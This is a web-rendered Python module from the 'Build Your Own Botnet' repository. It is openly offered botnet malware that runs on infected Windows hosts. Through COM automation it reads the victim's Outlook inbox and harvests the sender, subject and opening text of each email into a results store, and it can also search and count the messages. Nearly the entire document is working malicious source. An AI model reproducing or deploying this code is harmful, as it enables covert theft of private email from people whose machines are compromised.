Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/modules/outlook.py
1292 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
'Outlook Email (Build Your Own Botnet)'
4
5
# standard library
6
import sys
7
import time
8
import json
9
import threading
10
11
# packages
12
if sys.platform == 'win32':
13
import pythoncom
14
import win32com.client
15
16
# utilities
17
import util
18
19
# globals
20
packages = ['win32com.client','pythoncom']
21
platforms = ['win32']
22
results = {}
23
usage = 'outlook <get/count/search/upload>'
24
description = """
25
Interact with the Outlook email client application on the client host machine
26
"""
27
28
# main
29
def _get_emails():
30
pythoncom.CoInitialize()
31
outlook = win32com.client.Dispatch('Outlook.Application').GetNameSpace('MAPI')
32
inbox = outlook.GetDefaultFolder(6)
33
unread = inbox.Items
34
while True:
35
email = None
36
try:
37
email = unread.GetNext()
38
except:
39
break
40
if email:
41
sender = email.SenderEmailAddress.encode('ascii','ignore')
42
message = email.Body.encode('ascii','ignore')[:100] + '...'
43
subject = email.Subject.encode('ascii','ignore')
44
received = str(email.ReceivedTime).replace('/','-').replace('\\','')
45
globals()['results'][received] = {'from': sender, 'subject': subject, 'message': message}
46
else:
47
break
48
49
def installed():
50
"""
51
Check if Outlook is installed on the host machine
52
"""
53
try:
54
pythoncom.CoInitialize()
55
outlook = win32com.client.Dispatch('Outlook.Application').GetNameSpace('MAPI')
56
return True
57
except:
58
return False
59
60
def search(s):
61
"""
62
Search the emails in the Outlook inbox
63
"""
64
pythoncom.CoInitialize()
65
outlook = win32com.client.Dispatch('Outlook.Application').GetNameSpace('MAPI')
66
inbox = outlook.GetDefaultFolder(6)
67
emails = util.emails(inbox.Items)
68
for k,v in emails.items():
69
if s not in v.get('message') and s not in v.get('subject') and s not in v.get('from'):
70
emails.pop(k,v)
71
return json.dumps(emails, indent=2)
72
73
def count():
74
"""
75
Count unread emails in Outlook inbox
76
"""
77
if len(globals()['results']):
78
result = len(globals()['results'])
79
else:
80
pythoncom.CoInitialize()
81
outlook = win32com.client.Dispatch('Outlook.Application').GetNameSpace('MAPI')
82
inbox = outlook.GetDefaultFolder(6)
83
result = len(inbox.Items)
84
return "Emails in Outlook inbox: {}".format(result)
85
86
def run():
87
"""
88
Run the Outlook email module
89
90
"""
91
t = threading.Thread(target=_get_emails, name=time.time())
92
t.setDaemon(True)
93
t.run()
94
return t
95
96